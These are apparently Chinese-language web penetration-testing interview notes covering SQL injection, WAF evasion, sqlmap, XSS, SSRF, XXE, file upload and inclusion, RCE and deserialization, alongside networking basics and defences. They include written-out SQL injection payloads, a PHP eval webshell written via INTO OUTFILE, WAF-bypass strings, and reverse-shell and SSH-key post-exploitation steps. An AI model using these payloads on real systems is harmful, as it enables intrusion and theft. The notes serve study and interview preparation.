web渗透面试题
sql
sql注入防御:
1.使用预编译语句;
Python (使用 psycopg2 为例)
Java (使用 PreparedStatement)
2.数据库层级:最小权限原则
3.代码层级:输入验证与类型约束
白名单验证: 对于无法使用参数化的部分(如 ORDER BY 字段名、表名),必须使用硬编码的白名单进行校验。
宽字节注入原理:
由于PHP utf-8编码 数据库GBK编码,PHP发送请求到mysql时经过一次gbk编码,因为GBK是双字节编码,所以我们提交的%df这个字符和转译的反斜杠组成了新的汉字,然后数据库处理的时候是根据GBK去处理的,然后单引号就逃逸了出来
sql注入如何写入webshell:
?id=1’ union select 1,“”,3 into outfile ‘C:\phpstudy\WWW\sqli\shell.php’#
?id=1’ union select 1,“”,3 into dumpfile ‘C:\phpstudy\WWW\sqli\shell.php’#
into outfile ‘C:/wamp64/www/shell.php’ lines terminated by ‘’;
into outfile ‘C:/wamp64/www/shell.php’ lines starting by ‘’
outfile可以写入多行数据,并且字段和行终止符都可以作为格式输出。
dumpfile只能写一行,并且输出中不存在任何格式。
讲一讲sqlmap中的risk和level的区别:
risk风险等级 越大则测试的语句越多 强调数量
level探测的深度 越大则测试的范围越广 例如cookie host 等等都会测试 强调范围
sql注入遇到waf,怎么绕过
WAF 的核心工作机制是基于规则匹配(正则)和语义分析,而绕过的核心在于“差异化解析”——即让 WAF 认为请求是安全的,但后端数据库却能执行恶意的 SQL 逻辑。
1. 语法与逻辑层面的绕过 (Syntax & Logic)
这是最基础的层面,主要利用数据库语法的灵活性来规避 WAF 的正则匹配。
1.1 空格与分隔符变异
WAF 常通过检测 空格 来识别 SQL 语句的结构。
- 注释符替换空格:
/*...*/(MySQL/MSSQL)/*!...*/(MySQL 内联注释,WAF 往往不拦截,但 MySQL 会执行)--%0a(注释+换行)- Payload:
UNION/**/SELECT/**/1,2
- 非常见空白字符:
- 除了标准的
%20,尝试%09(Tab),%0a(换行),%0b(垂直Tab),%0c(换页),%0d(回车),%a0(不换行空格)。 - Payload:
UNION%0aSELECT
- 除了标准的
- 利用括号:
- 在某些数据库中,括号可以完全替代空格。
- Payload:
AND(1)=(1)或UNION(SELECT(1),2)
1.2 编码绕过 (Encoding)
利用 WAF 解码层数和后端应用解码层数的不一致。
- 双重 URL 编码: WAF 可能只解一次,而后端中间件解两次。
s->%73->%25%37%33
- Unicode/宽字节编码: 针对 IIS + ASP/ASP.NET 或特定数据库配置。
%u0053(Unicode 'S')%df%27(GBK 宽字节注入,吃掉转义符\)
- IBM EBCDIC 编码: 极少见但有效,部分 WAF 不支持这种古老的编码格式。
1.3 等价函数与语法替换
WAF 往往黑名单了特定函数或关键字。
- 逻辑运算符替换:
AND->&&(MySQL)OR->||(MySQL/PostgreSQL)=->LIKE,RLIKE,REGEXP(MySQL),~(PostgreSQL)>->GREATEST()
- 字符串处理:
hex()/unhex()绕过引号过滤。ascii()/ord()substring()->mid(),substr()
- MSSQL 特有:
- 利用
EXEC执行十六进制编码的字符串,绕过所有关键字检测。 - Payload:
EXEC(0x73656c656374...)(hex 对应select...)
- 利用
2. 数据库特性绕过 (Database Specific Quirks)
利用特定数据库的“方言”或解析缺陷,这在针对云 WAF 时尤其有效。
2.1 MySQL 内联注释 (版本号欺骗)
MySQL 特有的语法 /*!50000 SELECT */ 表示如果数据库版本高于 5.00.00 则执行。
- 绕过思路: WAF 可能认为这是注释而忽略,但数据库会执行。
- Payload:
id=1 /*!50000UNION*/ /*!50000SELECT*/ 1,2,3
2.2 JSON 注入 (2024-2025 热门)
现代数据库(MySQL 5.7+, PostgreSQL, MSSQL)都支持 JSON。许多老旧 WAF 或通用规则集对 JSON 语法的 SQL 注入覆盖不足。
-
原理: 利用 JSON 函数或键值对语法混淆 Payload。
-
Payload (MySQL):
id=1 AND JSON_EXTRACT('{"a":1}', '$.a') = 1或者利用 JSON 格式传输 Payload(如果后端支持):
2.3 HTTP 参数污染 (HPP)
利用 Web 服务器(如 IIS, Apache, Tomcat)处理重复参数的差异。
-
场景: WAF 可能只检查第一个
id参数,而后端 ASP.NET 可能拼接所有id,或 Tomcat 取最后一个id。 -
Payload (ASP.NET):
id=1&id=UNION&id=SELECT&id=1,2,3
后端看到的是先试试1,UNION,SELECT,1,2,3(需要构造特定语法闭合逗号)
3. 协议层绕过 (Protocol Level)
这是最高阶的绕过方式,利用 WAF 和后端服务器对 HTTP 协议解析的不一致(HTTP Request Smuggling/Desync)。
3.1 分块传输编码 (Chunked Transfer Encoding)
利用 Transfer-Encoding: chunked。WAF 可能无法还原分块后的完整 Body,或者 WAF 只检测第一个块,而恶意 Payload 藏在第二个块中。
-
Payload 示例:
POST /target.php HTTP/1.1 Host: example.com Transfer-Encoding: chunked 4 id=1 6 ' UNIO 5 N SEL ...
3.2 巨大的请求包 (Buffer Overflow)
WAF 为了性能,通常会设置检测缓冲区上限(例如只检测前 8KB)。
- 方法: 在 Payload 前填充 50,000 个无意义字符(如
A),将真正的 SQL 注入代码推到缓冲区之外。
4. 自动化工具与 Tamper 脚本
作为白帽,你可以使用 sqlmap 的 --tamper 参数加载混淆脚本。针对现在的环境,以下脚本较为实用:
| 脚本名称 (.py) | 适用场景 / 描述 |
|---|---|
space2comment |
将空格替换为 /**/,最经典。 |
between |
将 > 或 = 替换为 NOT BETWEEN 0 AND,绕过比较符过滤。 |
charencode |
对 Payload 进行 URL 编码(部分 WAF 解码不完全时有效)。 |
randomcase |
随机大小写,如 SeLeCt。 |
charunicodeencode |
对关键字进行 Unicode 编码(针对 ASP/ASP.NET)。 |
percentage |
在关键字字符间插入 % (ASP/IIS 特性),如 s%e%l%e%c%t。 |
| 自定义脚本 | 针对特定 WAF(如 Cloudflare, AWS WAF),通常需要自己编写组合拳脚本(例如:分块+注释混淆)。 |
–os-shell的条件
-
数据库用户拥有网站的写入权限;
-
知道绝对路径,消除歧义,避免文件写入其他路径;
-
Secure_file_priv参数为空或者为指定路径。
secure_file_priv 是 MySQL/MariaDB 在 5.7.x 版本后引入的一个关键安全配置变量。它的作用是限制数据库文件操作(如 LOAD DATA 和 SELECT INTO OUTFILE)可以访问的目录。
分析sql注入类型告警是否成功?
1.排除302、404、301、502,非200状态码
2.判断请求包内相关的sql语句是否为恶意的SQL语句
3.判断响应体内是否包含数据库敏感信息,或者系统信息。
CDN的全称是 Content Delivery Network(内容分发网络)
他的本质是一个建立在现有网络基础之上的智能虚拟网络
-
边缘节点(Edge Node / PoP): 部署在各地的服务器,直接面向用户提供内容。
-
缓存机制: 将源站(Origin)的静态资源(HTML、JS、图片等)同步到边缘节点。
-
DNS 调度: 当用户访问域名时,DNS 不再返回源站真实的 IP,而是返回一个 CNAME 指向 CDN 的全局负载均衡系统(GSLB),由它分配最合适的节点 IP。
A. 防御维度
- 隐藏真实 IP: 这是最基础的安全功能。由于用户请求先经过 CDN,攻击者直接扫描到的往往是 CDN 的节点 IP,而非网站真实的后端服务器(Origin Server)IP。
- 抗 DDoS/CC 攻击: CDN 具有天然的海量带宽分布。在遭受大流量攻击时,CDN 边缘节点可以作为“肉盾”吸收并清洗流量。
- 边缘 WAF: 现代 CDN(如 Cloudflare, Akamai)通常集成 Web 应用防火墙,在流量到达你的服务器之前就过滤掉常见的 SQL 注入、XSS 等攻击。
B. 攻击/渗透维度(寻找真实 IP)
在进行渗透测试时,“绕过 CDN 寻找真实 IP” 是必经的第一步。如果找不到真实 IP,你的扫描和漏洞利用往往会被 CDN 的防火墙拦截。常用的技巧包括:
- 查询历史解析记录: 利用 ViewDNS、SecurityTrails 等工具查找域名在挂载 CDN 之前的解析记录。
- 子域名搜集: 很多主站挂了 CDN,但
dev.example.com或mail.example.com等子域名可能直连源站。 - 利用邮件头: 让目标网站给你发一封邮件(如找回密码),查看邮件原始头部的
X-Originating-IP或Received。 - 国外多地 Ping: 有些 CDN 厂商只做了国内加速,通过国外代理 Ping 可能直接出真实 IP。
- 全网全端口扫描: 使用 ZMap/Masscan 扫描特定指纹,寻找证书或响应内容匹配的机器。
计组原理
常见服务协议端口
TCP类型:20/21 FTP文件传输 22 SSH 安全套接层 23 TELNET 25 SMTP 简单邮件传输协议
80 HTTP 超文本传输协议 (110 POP3 143 IMAP)接收邮件 135/139/445 MSrpc/smb 局域网共享
443 HTTPS 安全的超文本传输协议 389 LDAP轻量目录访问协议 1433 MSSQL数据库
1521 Oracle数据库 3306 Mysql数据库 6379 redis数据库 27017 MongoDB数据库
5432 PostgreSQL数据库 3389 RDP远程桌面
UDP类型:53 DNS 域名服务 67/68 DHCP 动态主机配置协议 69 TFTP 简单文件传输协议
windows常用命令
运行命令:
cmd.exe powershell.exe mstsc远程桌面 regedit注册表 services.msc服务
lusrmgr.msc本地用户和组 notepad记事本 calc计算器 gpedit.msc组策略编辑器
taskmgr任务管理器 mmc控制台 explorer.exe文件资源管理器 fsmgmt.msc 共享文件夹
secpol.msc 本地安全策略
DOS命令:
ipconfig[/all /release /renew查IP/释放/获取 dir目录 whoami查看用户
netstat -ano网络连接 net user查看用户 systeminfo查看系统信息 tasklist /SVC查看服务进程
计算机网络
OSI七层模型
物理层 数据链路层 网络层 传输层 会话层 表示层 应用层
TCP/IP五层模型
物理层 数据链路层 网络层 传输层 应用层
OSI与TCP/IP模型区别
下两层合并则为网络接口层,上三层合并为应用层,OSI偏理论未实际应用,TCP/IP实际应用较广。
TCP/UDP区别
1:连接方面区别:
i:TCP面向连接(如打电话要先拨号建立连接)。
ii:UDP是无连接的,即发送数据之前不需要建立连接。
2:安全方面的区别:
i:TCP提供可靠的服务,通过TCP连接传送的数据,无差错,不丢失,不重复,且按序到达。
ii:UDP尽最大努力交付,即不保证可靠交付。
3:传输效率的区别:
i:TCP传输效率相对较低。适用于可用性和可靠性及完整性较高的通信传输。
ii:UDP传输效率高,适用于对高速传输和实时性有较高的通信或广播通信。
4:连接对象数量的区别:
i:TCP连接只能是点到点、一对一的。 ---发邮件
ii:UDP支持一对一,一对多,多对一和多对多的交互通信。---实时直播
三次握手
i:客户端发送SYN(SEQ=x)报文给服务器端,进入SYN_SENT状态。
ii:服务器端收到SYN报文,回应一个初始序列号SYN (SEQ=y),确认号ACK(ACK=x+1)报文,进入SYN_RCVD状态。
iii:客户端收到服务器端的SYN报文,回应一个ACK(ACK=y+1)报文,进入Established状态。
IP划分
| 划分 | 范围 | 子网掩码 | 私网 |
|---|---|---|---|
| A | 0.0.0.0-127.255.255.255 | /8 | 10.0.0.0-10.255.255.255 |
| B | 128.0.0.0-191.255.255.255 | /16 | 172.16.0.0-172.31.255.255 |
| C | 192.0.0.0-223.255.255.255 | /24 | 192.168.0.0-192.168.255.255 |
| D | 224.0.0.0-239.255.255.255 | - | 组播 |
| E | 240.0.0.0-255.255.255.255 | - | 保留 |
抓包语法
1. 根据MAC筛选
a. 捕获单个MAC:ether host 00:00:5e:00:53:00
b. 捕获源/目的MAC:ether src/dst 00:00:5e:00:53:00
c. 排除MAC:not ether host 00:00:5e:00:53:00
2. 根据IP筛选
a. 捕获单个 IPv4:host 192.168.111.51(ip.addr eq 192.168.111.51)
b. 捕获单个IPv6:host 2001:DB8:0:23:8:800:200c:417A
c. 排除单个IP:not host 192.168.111.51
d. 捕获源/目的地址:src/dst host 192.168.111.51
e. 捕获单个域名:host www.ninggo.com.cn
f. 复杂条件:host 192.168.111.51 or host www.ninggo.com.cn
3. 根据应用筛选
a. 根据端口号:port 80、tcp port 80
b. 根据协议:tcp、udp、http
常用用法
指定IP地址:ip.addr == 192.168.111.51
指定源IP地址:ip.src == 192.168.111.51
指定目的IP地址:ip.dst == 192.168.111.51
tcp端口不为80:tcp.srcport != 80
tcp端口小于1024:tcp.srcport < 1024
如过滤IP地址为192.168.111.51并且HTTP数据包中包含GET字段的数据包
ip.addr == 192.168.111.51 and http contains "GET"
http.host == 192.168.0.1 //过滤指定主机名
http.request.method == "GET" //过滤请求方法
http.request.url == "163.com" //过滤指定URL
http.cookie //过滤包含cookie的数据包
http contains "GET" //HTTP数据包中包含GET字段
dns.flags.response == 0 //DNS查询
dns.flags.response == 1 //DNS响应
HTTP协议
get和post区别(重点)
1.URL可见性
- get传参方式是通过地址栏URL传递,是可以直接看到get传递的参数,get把请求的数据在URL后通过?连接,通过&进行参数分割。
- post传参方式参数URL不可见,post将从参数存放在HTTP的请求包内。
2.传输数据大小
- get传递数据是通过URL进行传递,对传递的数据长度是受到URL大小的限制,URL最大长度是2048个字符。
- post没有长度限制。
3.后退页面
- get后退不会有影响,post后退会重新进行提交
4.缓存
- get请求可以被缓存,请求的记录会留在历史记录中。
- post不可以被缓存,请求不会留在历史记录。
5.编码方式
- get请求只做URL编码。
- post支持多种编码方式。base64 url hex json
6.字符类型
- get只支持ASCII字符。
- post没有字符类型限制。
HTTP通信流程
1.浏览器输入域名
2.查询本地C:\windows\system32\drivers\etc\hosts文件与DNS缓存
3.若无查询则进行DNS服务器递归查询,获取服务器真实IP
4.查找到真实IP后三次握手建立连接
5.浏览器发送请求,服务器接受请求并返回响应及资源
6.浏览器解析资源返回图片,css等并在客户端浏览器渲染
7.结束HTTP进程并断开TCP连接
HTTPS和HTTP的区别
1、https协议需要到ca申请证书,一般免费证书较少,因而需要一定费用。
2、http是超文本传输协议,信息是明文传输,https则是具有安全性的ssl加密传输协议。
3、http和https使用的是完全不同的连接方式,用的端口也不一样,前者是80,后者是443。
4、http的连接很简单,是无状态的;HTTPS协议是由SSL+HTTP协议构建的可进行加密传输、身份认证的网络协议,比http协议安全。
HTTP数据包格式
请求行 响应行
请求头 响应头
空行 空行
请求体 响应体
请求方法:GET POST PUT MOVE HEAD OPTION CONNECT DELETE
cookie与session区别
存储位置:Cookie 数据存储在客户端,而 Session 数据存储在服务器上。
存储大小:Cookie 的大小大小通常限制在 4KB 以内。而 Session 则是存储在服务器端,与服务器缓存有关无大小限制。
有效期:Cookie 可以设置其有效期,到期之后 Cookie 就会自动失效。 而 Session的生命周期取决于会话,当用户从浏览器关闭网页或者手动清除 Session 后,Session 就会失效。
数据类型:Cookie 只支持字符串数据类型。Session 则可以支持任何数据类型,比如字符串、列表、字典等。
安全性:由于 Cookie 存储在客户端,因此有被篡改或者盗用的风险(XSS)。而 Session存储在服务器端,相对来说安全性较高,但过多的 Session 会消耗服务器性能。
Linux
常用命令
whoami id ls -alth pwd 查看当前目录 cat /etc/passwd uname-r查看内核版本 uname-a查看发行版本
重启网卡 systemctl restart NetworkManager
lsb_release -r/-a查看内核/发行版本 netstat -antulp查看TCP+UDP网络连接 top 任务管理器 ps aux查看进程 lsof查看进程
网络文件存放位置
| ubuntu18.04之后 | /etc/netplan | /etc/netplan/01-netcfg.yaml |
|---|---|---|
| ubuntu18.04之前 | /etc/network | /etc/network/interfaces |
| centos7 | /etc/network-scripts | /etc/sysconfig/network-scripts/ifcfg-ens33 |
| centos8之后 | /etc/NetworkManager/ | etc/NetworkManager/system-connections/ens33.nmconnection |
权限管理
读 r 4
写 w 2
执行 x 1
属主/属组/其他人 777 640 400 644
chmod +x
chmod 777
docker
docker info docker配置信息
systemctl start/stop/restart/enable/disable docker 启动关闭docker服务
docker image -a 查看镜像
docker ps 查看容器
docker exec -it 容器ID /bin/bash 进入容器内部
docker rm /rmi 容器ID/镜像ID 删除容器/镜像
信息收集
给一个目标需要收集哪些
Burpsuite
常用模块
proxy抓包 Intruder爆破 repeater修改 comparer比较 encoder编码 collaboratorDNS外带
爆破模式
sniper狙击手 一个payload一个字典
pitch fork草叉 多个payload多个字典,逐行匹配
battering ram攻城锤 多个payload一个字典
cluster bomb集束炸弹 多个payload多个字典,笛卡尔积
除了Burp还用什么抓包---->yakit
SQL注入
原理
任何与数据库产生交互的地方都有可能产生SQL注入,(URL、请求体、请求头),参数用户可控,带入到数据库中执行,结果是否可明文显示决定了是明注还是盲注,明注则测试联合查询、报错注入、堆叠注入,盲注则测试时间盲注、布尔盲注、带外查询。
攻击类型
注入类型:数字 加运算符id=1*3、字符 加' " )#、搜索
注入手法:联合查询、报错注入、时间盲注、布尔盲注、堆叠注入、带外查询

报错注入:
MySQL报错函数
| 函数/方法 | 说明及示例 |
|---|---|
**extractvalue()** |
用于从XML数据中提取内容。当XPath格式错误时,会报错并显示非法XPath字符串的内容。 |
**updatexml()** |
用于更新XML文档内容。原理同extractvalue,利用XPath格式错误报错。 |
**floor()** + **rand()** + **group by** |
这是一个经典的“重复键”错误。通过group by和count(*)与rand()函数结合,在虚拟表中产生主键冲突而报错。 |
**exp()** |
指数函数。当参数过大(超过709)时,会触发DOUBLE值溢出错误。 |
**geometrycollection()**, **multipoint()** 等空间函数 |
这些函数对参数格式有严格要求,传入非法参数会报错。 |
| 数据库 | 核心思路 | 常用函数 |
|---|---|---|
| MySQL | XML函数、数学函数、主键冲突 | extractvalue(), updatexml(), floor(), exp() |
| SQL Server | 显式类型转换 | convert(), cast() |
| Oracle | 特定包函数、类型转换 | ctxsys.drithsx.sn(), dbms_xdb_version.checkin(), utl_inaddr.get_host_name() |
| PostgreSQL | 类型转换 | cast() |
宽字节注入原理条件
由于在数据库查询前使用了GBK多字节编码,即在汉字编码范围内使用两个字节会被编码为一个汉字(前一个ASCII码要大于128才到汉字的范围),然后MySQL服务器会对查询语句进行GBK编码,即在前面加上 %df' 转义函数会将 %df' 改成 %df' 而\的URL编码为 %5c ,那最后变成了 %df%5c' 并且在GBK中这两个字节对应着一个汉字"運",也就是说转义已经失去了作用, %df' 被认为成 運' 成功消除了转义函数的影响。
' ---URL编码--》 %27
\ ---URL编码--》 %5c
%df' ---URL编码--》 %df%5c' --》 運'
宽字节注入的条件:
1.PHP连接数据库使用了GBK的编码
2.PHP对用户输入的数据进行了转义操作
SQL注入常用哪些函数
count 数据库数量
length 数据库长度
substr/substring/mid 提取字符
ascii/ord 转换ascii编码
ord() 和 hex() 的区别?
答:ord 是字符 → 整数(十进制),hex 是整数 → 十六进制字符串(带 0x)。 示例:ord('A')=65,hex(65)='0x41'
时间盲注常用函数
| 数据库 | 主要延时函数 | 示例模板 |
|---|---|---|
| MySQL | SLEEP(n), BENCHMARK(count, expr) |
' AND IF(condition, SLEEP(5), 0) -- |
| SQL Server | WAITFOR DELAY '0:0:n' |
‘; IF condition WAITFOR DELAY '0:0:5' -- |
| Oracle | DBMS_LOCK.SLEEP(n) |
' AND (CASE WHEN condition THEN (dbms_lock.sleep(5)) END) IS NULL -- |
| PostgreSQL | PG_SLEEP(n) |
‘; SELECT CASE WHEN condition THEN pg_sleep(5) END -- |
SQL注入写入shell及条件
- 知道网站的绝对路径:必须知道Web应用程序在服务器上的物理路径(如
/var/www/html,C:\inetpub\wwwroot)。 - 具有文件写入权限:数据库用户必须拥有
FILE_PRIV(MySQL)、ALTER ANY DATABASE或相应的高权限(MSSQL),或者对Web目录有写权限。 - 数据库配置允许文件导出:例如,MySQL的
secure_file_priv设置不能为NULL,最好为空或包含目标路径。
| 数据库 | 核心方法 | 关键点 |
|---|---|---|
| MySQL | SELECT ... INTO OUTFILE/DUMPFILE |
依赖 FILE 权限和 secure_file_priv 设置。 |
| SQL Server | xp_cmdshell |
需要 sa 权限,且通常需先启用该功能。最直接有效。 |
| Oracle | UTL_FILE |
需要创建 DIRECTORY 对象并拥有相应权限。 |
| PostgreSQL | COPY ... TO |
需要超级用户权限。 |
1. INTO OUTFILE / INTO DUMPFILE (直接写入)
这是最经典的方法,利用 SELECT ... INTO OUTFILE 将查询结果(即一句话木马)导出到 Web 目录。
-
基本语法:
UNION SELECT "<?php @eval($_POST['cmd']);?>" INTO OUTFILE '/var/www/html/shell.php' -
区别:
OUTFILE:会在行末写入换行符,且会转义特殊字符。DUMPFILE:原样写入,适合写入二进制文件(如 UDF 提权时的.dll或.so文件)。
SQLmap
常用用法
sqlmap -u扫描URL -r加载请求包 -d直接连接数据库 -m批量扫描 --dbms指定数据库
--dbs 所有库 --tables 所有表 --columns 所有列
-D 指定库 -T 指定表 -C 指定列 -p 指定注入点
--batch 默认参数扫描 --dump 脱数据
--technique 指定扫描模式 UEBTSQO
--cookie 携带cookie --data 携带数据 --user-agent 指定UA头
--random-agent 随机UA头
--level 探测等级1-5 --risk风险级别 1-3
--os-shell 获取shell --sql-shell 获取数据库shell --tamper 指定tamper脚本
默认特征UA:sqlmap/1.x.x#stable (http://sqlmap.org)
三高一弱
高危漏洞,高危授权(账号),高危端口。弱口令
XSS
原理
参数可控,可写入JS代码解析构成恶意攻击。窃取cookie、挂马、SEO引流、暗链、钓鱼。
分类
| 特性 | 反射型 XSS | 存储型 XSS | DOM 型 XSS |
|---|---|---|---|
| 攻击流程 | 攻击者将恶意脚本作为参数发送给服务器,服务器接收后,未经过滤直接将其“反射”回浏览器并执行 | 攻击脚本被永久地存储在服务器的数据库或文件系统中。每当用户访问含有该脚本的页面时,脚本都会自动执行。 | 脚本执行不经过服务器,而是通过 JavaScript 修改页面的 DOM 树来实现。恶意数据通过浏览器 API(如 location.hash 或 document.referrer)读取并直接被写入页面。 |
| 数据存储位置 | 不存储。 | 存储在服务器。 | 不存储。 |
| 持久性 | 非持久。 | 持久。 | 非持久 |
| 输出 | 服务端。 | 服务端。 | 客户端JavaScript |
| 检测难度 | 较低。可通过扫描URL参数或自动化工具发现。 | 较低。可通过爬虫扫描网站内容发现。 | 较高。因为Payload不经过服务端,传统的服务端扫描器无法检测。需要动态分析(使用浏览器引擎的工具)。 |
反射性和DOM型区别
第一步:核心定性 (一句话切入)
“反射型和 DOM 型 XSS 的本质区别在于漏洞产出的位置和处理数据的媒介不同:反射型是后端逻辑漏洞,而 DOM 型是前端脚本漏洞。”
第二步:描述数据流向 (展现技术深度)
- 反射型 XSS: 它的 Payload 遵循 “浏览器 -> 服务器 -> 浏览器” 的闭环。数据必须经过服务器的处理,并作为响应内容的一部分返回给浏览器,浏览器解析 HTML 时触发脚本。
- DOM 型 XSS: 它的数据流通常只在 “浏览器内部” 传递。前端 JavaScript 脚本从
Source(如location.hash)读取数据,经过逻辑处理后,传递给Sink(如innerHTML)导致执行。
第三步:点出 3 个“面试官最想听到的”关键点
-
服务器可见性:
“反射型攻击的 Payload 必须发往服务器,因此 WAF 或日志系统通常能捕获到特征。但 DOM 型攻击如果利用 URL 的
Anchor (#)传参,Payload 根本不会进入后端服务器,这使得它能完美绕过传统的流量监控。” -
源代码 vs 渲染树:
“在浏览器里点击‘查看网页源代码’(Ctrl+U),反射型能直接看到 Payload;而 DOM 型在源代码里是找不到的,必须在开发者工具的
Elements面板中查看实时渲染的 DOM 树。”
XSS绕过
⼤⼩写,js伪协议,没有分号,Flash,Html5新标签 ,Fuzz进⾏测试 ,双层标签绕过
修复防御
-
- 对输⼊内容的特定字符进⾏编码,例如表示html标记的 < > 等符号。
-
- 对重要的cookie设置httpOnly, 防⽌客户端通过document.cookie读取 cookie,此HTTP头由服务端设置。
-
- 将不可信的值输出URL参数之前,进⾏URLEncode操作,⽽对于从URL参数中获取值⼀定要进⾏格式检测(⽐如你需要的时URL,就判读是否满⾜URL格式)。
-
- 不要使⽤Eval来解析并运⾏不确定的数据或代码,对于JSON解析请使⽤ JSON.parse()⽅法。
CSRF
原理
利用用户对浏览器的信任,保存cookie的情况下进行恶意链接构造,实现请求伪造攻击。
防御
1.cookie设置有效期
2.二次认证,旧密码、验证码
3.设置csrf_token字段
4.同源检测:检查referer和origin字段,确保请求来自合法的源
SSRF
原理
服务端请求伪造,服务器提供了请求外部资源的功能,而未限制访问内部,127.0.0.1\localhost\内网地址,导致攻击者可以借助此缺陷访问内网资源。
端口扫描、服务探测、文件读取、攻击内网应用、攻击云数据(file、http/S、dict、gopher、ftp...)
攻击mysql、redis、fastcgi(利用工具gopherus)
常见的功能点
- 图片加载,下载功能
- 文章收藏,分享功能
- 未公开的API接口(Webhooks)
- 在线翻译,网页快照,PDF转换功能
漏洞产生函数
file_get_contents、curl_exec、fsockopen
修复
-
- 地址做⽩名单处理
-
- 域名识别IP 过滤内部IP
-
- 校验返回的内容对⽐是否与假定的⼀致
绕过手段
@、短地址绕过、进制转换绕过、DNS重绑定绕过
XSS、CSRF与SSRF区别
XSS(跨站脚本攻击):核心是代码执行。攻击者在页面注入恶意js代码,用户浏览时执行,窃取cookie和钓鱼。
CSRF(请求伪造攻击):核心是借权。攻击者诱导受害者以已登录的状态点击链接,冒用受害者身份发送请求(改密码,转账等),
SSRF(服务端请求伪造):核心是服务器发起请求。利用服务器去访问内网资源(Redis,Dict,File协议)
URL跳转和SSRF的区别
发生的位置不一样
- URL跳转:发送在客户端(浏览器),服务器返回302或js跳转,让浏览器去访问新地址,危害主要为钓鱼。
- SSRF:发生在服务器,是服务器帮你去请求某个地址,并将结果返回给你(或者不返回)。危害是内网探测。
XXE
原理
XML外部实体注入,XML文档加载时未关闭加载外部实体的功能,导致可以构造恶意外部实体进行引入造成攻击,如文件读取、命令执行、内网端口扫描、攻击内网网站。
危害
- 导致可以加载恶意外部⽂件
- 造成⽂件读取
- 内⽹端⼝扫描
- 攻击内⽹⽹站
- 发起dos攻击等危害
防御
过滤⽤户提交的XML数据、如果你当前使⽤的程序为PHP,则可以将libxml_disable_entity_loader设置为TRUE来禁⽤外部实体,从⽽起到防御的⽬的
文件上传
原理
上传点存在未过滤或过滤不严格,导致可以上传恶意的动态脚本程序导致恶意代码执行。
绕过方式

防御手段
- 后端验证:采⽤服务端验证模式
- 后缀验证:基于⽩名单,⿊名单过滤
- MIME验证:基于上传⾃带类型艰检测
- 内容检测:⽂件头,完整性检测
- ⾃带函数过滤
- WAF防护软件:宝塔、云盾等
文件解析
| 漏洞名称/版本 | 原理与说明 |
|---|---|
| IIS 6.0 目录解析漏洞 | 当目录名包含 .asp、.asa、.cer 等扩展名时,IIS 6.0会将该目录下的所有文件都作为ASP脚本来解析和执行。 |
| IIS 6.0 分号解析漏洞 | IIS 6.0在解析文件名时,会将分号 ; 后面的内容截断,只检查分号前的扩展名是否在白名单内。 |
| IIS 7.0/7.5 解析漏洞 | 在Fast-CGI模式下,由于配置问题,当URL路径中包含PHP文件时,后面拼接的任何文件都会被PHP解析器尝试解析。 |
| 多后缀解析漏洞 | Apache允许文件有多个后缀(如 .tar.gz)。它从右向左开始解析后缀,直到遇到一个它认识的可解析类型。如果Apache不认识最右侧的后缀,它会继续向左判断。 |
.htaccess 文件上传漏洞 |
如果Apache允许覆盖配置(AllowOverride All),且攻击者有权上传 .htaccess 文件,就可以自定义该目录及其子目录的解析规则。 |
| Nginx %00 空字节截断漏洞 | 在老版本的Nginx中,存在空字节截断漏洞。当路径 PATH_INFO 变量与 SCRIPT_FILENAME 变量处理不一致时,空字节 %00 会导致Nginx错误地解析文件路径。 |
| Nginx Fast-CGI 解析漏洞 | 与IIS 7.0漏洞原理类似,是Nginx在Fast-CGI模式下的一种配置不当导致的漏洞。当URL中以 .php 结尾的路径不存在时,如果配置了 cgi.fix_pathinfo=1(PHP默认开启),PHP会递归向上查找真实存在的文件并执行。 |
| Nginx 路径修复错误 | 一种变种,直接请求一个不存在的PHP文件,但后面跟上已存在的恶意文件 |
文件包含
原理
在包含文件的地方存在参数可控,可包含恶意文件并将其解析为动态脚本,进行getshell,一般配合图片马。分为本地文件包含、远程文件包含(需开启allow_url_include、allow_url_fopen)
函数
include、include_once、require、require_once
告警,脚本继续执行;错误,停止脚本执行
once,多次包含只执行一次
利用
- 读取敏感⽂件
- 远程包含shell
- 图⽚上传并包含图⽚shell
- 使⽤伪协议(file、php://filter、php://input、data://、zip://、phar://......)
- 包含⽇志⽂件GetShell
- 截断包含
修复
- 禁⽌远程⽂件包含allow_url_include=off
- 配置open_basedir=指定⽬录,限制访问区域
- 过滤../等特殊符号(解决目录遍历问题)
- 修改Apache⽇志⽂件的存放地址
- 开启魔术引号magic_quotes_qpc=on
- 尽量不要使⽤动态变量调⽤⽂件,直接写要包含的⽂件
RCE(Remote Code Execution)(远程代码执行)命令执行/代码执行
原理
应用需要调用外部程序时就会用到一些执行系统命令的函数。如果没有过滤用户的输入的情况下,就会造成命令执行漏洞。
危害
- 继承WEB程序权限(www-data/root),执行系统命令(反弹Shell--->获取交互式的命令执行接口)
- 继承WEB程序权限,读写文件(敏感文件)
- GetShell控制网站,创建系统后门控制服务器!
命令执行危险函数
PHP:system、exec、shell_exec、passthru、反引号、popen、proc_open
Python:os.system()、os.open、subprocess.run
Java:Runtime.getRuntime().exec()
代码执行危险函数
PHP:eval、assert、preg_replace、create_function、call_user_func()、array_map()
Python:exec()、import()
Java:各种表达式、OGNL、SPEL、反序列化
利用
1.直接写入webshell echo ' ' > shell.php
2.反弹shell,nc、bash(参考反弹shell生成器)....
3.远程下载,下载恶意webshell或木马进行触发
4.开启端口,正向shell链接
5.写入SSH公钥
修复
在disable_functions过滤危险函数(可用蚁剑、哥斯拉bypass_disable_functions进行绕过)
写死需要执行的参数
过滤恶意关键字
输入校验(转义、编码)
使用安全API
反序列化
原理
提供了解析序列化字符串的入口,导致攻击者可以构造恶意序列化字符串传入配合反序列化函数造成恶意类加载。
PHP构造函数生命周期
__construct-->sleep()-->searialize-->__tostring()-->unsearialize()-->__wakeup()-->__destruct
PHP:searialize、unsearialize、phar://
Java:
ObjectInputStream、readObject()、对象输入流中的读取对象方法
XMLDecoder.readObject() XML反序列化
用于生成java序列化字符串的工具:ysoserial、java chains
修复
1.使用更安全的数据交换格式,如 JSON、XML,并使用安全的解析器(如 JsonSerializer、yaml.safe_load)。
2.白名单校验:如果必须使用原生反序列化,应实施严格的白名单控制,只允许反序列化预期的、安全的类。
未授权漏洞
redis、nacos、druid、ftp、spring actuator、swagger-ui(API接口未授权)、elasticSearch、weblogic未授权、mongodb、kibana、vnc、jenkins、docker
一、 数据库与缓存服务
1. Redis 未授权访问 (Port: 6379)
- 成因:Redis 默认绑定在 0.0.0.0 且默认没有开启密码验证(protected-mode 关闭)。
